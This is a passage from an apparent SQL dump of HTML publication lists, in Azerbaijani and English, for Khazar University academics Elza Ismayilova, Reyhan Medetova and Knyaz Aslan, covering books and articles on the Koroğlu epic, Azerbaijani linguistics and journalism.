“Dəvət” qəzeti, İran</p></td><td width=\"48\"><p>30 may&nbsp; 2009</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Dilmac” jurnalı,&nbsp; № 25, 26, 27 – İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun dövrü, şəxsiyyəti haqqında”</p><p>&nbsp;</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(Journal of Azerbaijani Studes –&nbsp;&nbsp; Azərbaycan Araşdırmaları Jurnalı, Volume 2, Khazar University Press</p></td><td width=\"48\"><p>2009</p></td><td width=\"77\"><p>&nbsp;</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1578,979,'az','Elza Ismayilova','Elza Ismayilova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"48\"><p><strong>Year Published</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"204\"><p>“<em>The Azerbaijani language</em>– Azərbaycan dili”&nbsp; dərsliyi (İngilis dilində danışanlar üçün</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Hamlet İsaxanlı, Elza İsmayılova və Firəngiz Nəsirova</p></td><td width=\"144\"><p>Bakı, Xəzər Universiteti Nəşriyyatı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Azərbaycan, Gürcüstan, Türkiyə və Paris variantlarının müqayisəli təhlili”</p><p>&nbsp;</p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(<em>Türk Dil Kurumunda&nbsp; çapdadır</em>)</p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin öyrədilməsi yolları<em>”</em></p></td><td width=\"97\"><p>Kitab</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p><em>(Çapa hazırlanır).</em></p></td><td width=\"48\"><p>&nbsp;</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Gəlir Novruz bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №43</p></td><td width=\"48\"><p>18.03.1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Azərbaycan – yurdum mənim”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №87</p></td><td width=\"48\"><p>01.06.2000</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Elm, təhsil və mədəniyyət bayramı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №103</p></td><td width=\"48\"><p>01.04.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №105</p></td><td width=\"48\"><p>01.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №106</p></td><td width=\"48\"><p>15.05.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dərsdə texniki təlim vasitələrindən istifadə”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №107</p></td><td width=\"48\"><p>01.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi” “Dərsdə texniki təlim vasitələrindən istifadə”&nbsp; (ardı)</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №108</p></td><td width=\"48\"><p>15.06.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Demə, Səməd Vurğun gəldi-gedərdi...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №109</p></td><td width=\"48\"><p>01.07.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №111</p></td><td width=\"48\"><p>01.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №112</p></td><td width=\"48\"><p>15.10.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişləri haqqında ümumi məlumat”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №113</p></td><td width=\"48\"><p>01.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Nitq vərdişlərinin aşılanması ardıcıllığı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №114</p></td><td width=\"48\"><p>15.11.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №116</p></td><td width=\"48\"><p>15.12.2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Əcnəbilərə Azərbaycan dilinin tədrisi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, №117</p></td><td width=\"48\"><p>01.01.2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlu” dastanının Borçalı – Qarayazı variantı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova Şurəddin Məmmədli və Vahid Ömərovla birgə&nbsp;&nbsp;</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 125</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Öz içindən yanan bir ocağam mən ...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 126</p></td><td width=\"48\"><p>01.06. 2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məhəbbət coşanda şeir yazıram...” Hamlet İsaxanlının 55 illiyinə həsr olunmuş ədəbi-bədii gecədən qeydlər</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 141</p></td><td width=\"48\"><p>15.03.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Dünya konsert salonunun açılışı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər”– Khazar View, № 136</p></td><td width=\"48\"><p>01.01. 2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq mərasimi”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 153</p></td><td width=\"48\"><p>01– 31.10.2003</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 160</p></td><td width=\"48\"><p>01.15.02. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 161,</p></td><td width=\"48\"><p>16-29.02.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 162</p></td><td width=\"48\"><p>01-15.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 163</p></td><td width=\"48\"><p>16-31.03. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Коroğlunun yaşadığı dönəm və şəxsiyyəti”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı № 164</p></td><td width=\"48\"><p>, 01.04. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunların bayramı. Xəzər Universitəsinin 16-cı məzunluq mərasimi”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Хəbər” jurnalı, № 164</p></td><td width=\"48\"><p>01.04.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Aşıq Koroğlu”&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər” jurnalı№166</p></td><td width=\"48\"><p>01.05. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Тəкəlü tək&nbsp; arxası var, eli var”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №169</p></td><td width=\"48\"><p>15. 06. 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Xəzər Xəbər”, № 171</p></td><td width=\"48\"><p>15 iyul 2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Məzunluq bayramı”</p></td><td width=\"97\"><p>(Xəzər Universitetinin 17-ci məzunluq mərasiminə həsr olunmuş təntənəli gecədən reportaj</p></td><td width=\"125\"><p>Elza İsmayılova K.Aslanla birgə</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №174</p></td><td width=\"48\"><p>5.10.2004</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Məzunlar bayramı. Xəzər Universitetinin 18-ci məzunluq mərasiminə həsr olunmuş təntənəli gecə</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Хəzər Xəbər” jurnalı, №185</p></td><td width=\"48\"><p>01.04.2005</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Qayıt, gəl!”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Körpü”</p></td><td width=\"48\"><p>01.01. 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“İngilisdillilərə Azərbaycan dilindən spesifik səslərin öyrədilməsi yolları”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Journal of Azerbaijani studes – Azərbaycan Araşdırmaları Jurnalı, Volume 1, number 4</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Folklor/Edebiyat” Dergisi, cilt:11, С: 43, Аnkara</p></td><td width=\"48\"><p>2005/3.</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(“Dilmac” jurnalı, № 25, 26, 27- İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Çənlibeldi Koroğlunun oylağı”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>Dəvət”&nbsp; qəzeti, İran</p></td><td width=\"48\"><p>6 mart&nbsp; 2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun yurdu, eli haqqında”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Urmiyanın səsi” qəzeti № 379– İran</p></td><td width=\"48\"><p>17 iyun 2007</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>&nbsp;“Koroğlu” dastanının yaranma tarixi və məkanı</p><p>&nbsp;</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>&nbsp; “Dəvət” qəzeti, İran</p></td><td width=\"48\"><p>30 may&nbsp; 2009</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Аşıqlığım bəsdi mənə...”</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>“Dilmac” jurnalı,&nbsp; № 25, 26, 27 – İran</p></td><td width=\"48\"><p>2006</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Koroğlunun dövrü, şəxsiyyəti haqqında”</p><p>&nbsp;</p></td><td width=\"97\"><p>Konfrans əsəri</p></td><td width=\"125\"><p>Elza İsmayılova</p></td><td width=\"144\"><p>(Journal of Azerbaijani Studes –&nbsp;&nbsp; Azərbaycan Araşdırmaları Jurnalı, Volume 2, Khazar University Press</p></td><td width=\"48\"><p>2009</p></td><td width=\"77\"><p>&nbsp;</p></td></tr></tbody></table>  <br></div>'),(1579,978,'az','Reyhan Medetova','Reyhan Medetova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>XIII-XVIII əsrlər Azərbaycan dili yazılı abidələrində məsdər</p></td><td width=\"97\"><p>kitab</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>“Nurlan” nəşriyyatı</p></td><td width=\"48\"><p>2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Azərbaycan ədəbi dili tarixi proqramı ( bakalavr təhsili)</p></td><td width=\"97\"><p>&nbsp;Proqram</p><p>(qrifli nəşr)</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Kitabi-Dədə Qorqud”da məsdər şəkilçisinin fonetik variantları</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan dilçiliyinin aktual problemləri</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>səh.72-75</p></td></tr><tr><td width=\"204\"><p>&nbsp;</p><p>XIII-XVIII əsrlər&nbsp; Azərbaycan dili yazılı abidərində sırf&nbsp; isimləşmiş məsdərlər</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Loqos, Bakı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>səh.82-98</p></td></tr><tr><td width=\"204\"><p>Azərbaycan mətnşünaslığının actual məsələləri</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Türkologiya 1-2, Bakı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>səh.102--106</p></td></tr><tr><td width=\"204\"><p>Qazi Bürhanəddinin dili</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Jurnal of Azerbaijani studies Bakı</p></td><td width=\"48\"><p>2007</p></td><td width=\"77\"><p>səh.69-77</p></td></tr><tr><td width=\"204\"><p>Bəzi assemantikləşmiş köklər haqqında</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>BDU-nun elmi əsərləri. Bakı</p></td><td width=\"48\"><p>2007&nbsp;&nbsp;&nbsp;</p></td><td width=\"77\"><p>səh. 32-38</p></td></tr><tr><td width=\"204\"><p>Azərbaycan dilinin yazılı abidələrində adlıq halda işlənmiş məsdərlərin transliterasiyasına dair</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Orta əsr əlyazmaları və Azərbaycan mədəniyyəti problemləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.85-88</p></td></tr><tr><td width=\"204\"><p>Məsdər şəkilçisinin normalaşmasına dair</p></td><td width=\"97\"><p>&nbsp;&nbsp; məqalə&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan ədəbi dilində norma və normalaşma məsələləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.119-121</p></td></tr></tbody></table>  <br></div>'),(1580,978,'en','Reyhan Medetova','Reyhan Medetova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>XIII-XVIII əsrlər Azərbaycan dili yazılı abidələrində məsdər</p></td><td width=\"97\"><p>kitab</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>“Nurlan” nəşriyyatı</p></td><td width=\"48\"><p>2002</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>Azərbaycan ədəbi dili tarixi proqramı ( bakalavr təhsili)</p></td><td width=\"97\"><p>&nbsp;Proqram</p><p>(qrifli nəşr)</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>&nbsp;</p></td></tr><tr><td width=\"204\"><p>“Kitabi-Dədə Qorqud”da məsdər şəkilçisinin fonetik variantları</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan dilçiliyinin aktual problemləri</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>səh.72-75</p></td></tr><tr><td width=\"204\"><p>&nbsp;</p><p>XIII-XVIII əsrlər&nbsp; Azərbaycan dili yazılı abidərində sırf&nbsp; isimləşmiş məsdərlər</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Loqos, Bakı</p></td><td width=\"48\"><p>1997</p></td><td width=\"77\"><p>səh.82-98</p></td></tr><tr><td width=\"204\"><p>Azərbaycan mətnşünaslığının actual məsələləri</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Türkologiya 1-2, Bakı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>səh.102--106</p></td></tr><tr><td width=\"204\"><p>Qazi Bürhanəddinin dili</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Jurnal of Azerbaijani studies Bakı</p></td><td width=\"48\"><p>2007</p></td><td width=\"77\"><p>səh.69-77</p></td></tr><tr><td width=\"204\"><p>Bəzi assemantikləşmiş köklər haqqında</p></td><td width=\"97\"><p>&nbsp;&nbsp;&nbsp;&nbsp; məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>BDU-nun elmi əsərləri. Bakı</p></td><td width=\"48\"><p>2007&nbsp;&nbsp;&nbsp;</p></td><td width=\"77\"><p>səh. 32-38</p></td></tr><tr><td width=\"204\"><p>Azərbaycan dilinin yazılı abidələrində adlıq halda işlənmiş məsdərlərin transliterasiyasına dair</p></td><td width=\"97\"><p>məqalə</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Orta əsr əlyazmaları və Azərbaycan mədəniyyəti problemləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.85-88</p></td></tr><tr><td width=\"204\"><p>Məsdər şəkilçisinin normalaşmasına dair</p></td><td width=\"97\"><p>&nbsp;&nbsp; məqalə&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"125\"><p>Reyhan Mədətova</p></td><td width=\"144\"><p>Azərbaycan ədəbi dilində norma və normalaşma məsələləri Bakı</p></td><td width=\"48\"><p>1991</p></td><td width=\"77\"><p>səh.119-121</p></td></tr></tbody></table>  <br></div>'),(1581,977,'en','Knyaz Aslan','Knyaz Aslan','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"77\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Sözün kəsəsi</p><p>&nbsp;</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Publisistik düşüncələr,</p><p>&nbsp;Bakı</p></td><td width=\"48\"><p>1994</p></td><td width=\"77\"><p>48 s.</p></td></tr><tr><td width=\"204\"><p>Qırxıncı qapı</p></td><td width=\"97\"><p>Şeirlər</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı</p></td><td width=\"48\"><p>1995</p></td><td width=\"77\"><p>48 s</p></td></tr><tr><td width=\"204\"><p>Döyüş olsa bir əsgərdir qələmim</p></td><td width=\"97\"><p>(Məqalələr; Reportajlar; Oçerklər; Yol qeydləri; Sənədli hekayələr)</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Hərbi Nəşriyyat</p></td><td width=\"48\"><p>1998</p></td><td width=\"77\"><p>140 s</p></td></tr><tr><td width=\"204\"><p>Mənəvi ömrün başlanğıcı (Polkovnik Şahbaz Aslanov) (Xüsusi buraxılış)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Əbilov, Zeynalov və oğulları</p></td><td width=\"48\"><p>2000</p></td><td width=\"77\"><p>24 s.</p></td></tr><tr><td width=\"204\"><p>Başkeçidin dağlarıdır bu dağlar</p></td><td width=\"97\"><p>Şeirlər toplusu)</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>100 s</p></td></tr><tr><td width=\"204\"><p>Mənalı ömür yоlu: Abuzər Alı оğlu Хələfоv (Anadan оlmasının 70, еlmi-pеdaqоji fəaliyyətinin 50 illiyinə həsr еdilir)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan, Murtuz Bağırov</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>230 s.</p></td></tr><tr><td width=\"204\"><p>Prоfеssоr Abuzər Хələfоv – 70. (“Kitabхanaşünaslıq və bibliоqrafiya” еlmi-nəzəri və təcrübi-mеtоdik jurnalının хüsusi buraхılışı)</p></td><td width=\"97\"><p>Jurnal məqaləsi</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2001</p></td><td width=\"77\"><p>148 s</p></td></tr><tr><td width=\"204\"><p>Barlı-bəhərli illər (BDU-nun kafеdra müdiri, dоsеnt Tacəddin Quliyеv -75)</p></td><td width=\"97\"><p>&nbsp;</p></td><td width=\"125\"><p>Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Bakı Univеrsitеti Nəşriyyatı</p></td><td width=\"48\"><p>2005</p></td><td width=\"77\"><p>180 s</p></td></tr><tr><td width=\"204\"><p>Kütləvi İnfоrmasiya Vasitələri: Müasir kоmmunikasiyaya giriş: VI nəşr</p></td><td width=\"97\"><p>Dərs vəsaiti</p></td><td width=\"125\"><p>Ray Еldоn Niеbеrt, Dоnald F.Ungurait, Thоmas W.Bоhn. İngilis dilindən tərcümə еdənlər: Хumar Hüsеynоva, Knyaz Aslan</p></td><td width=\"144\"><p>Bakı: Хəzər 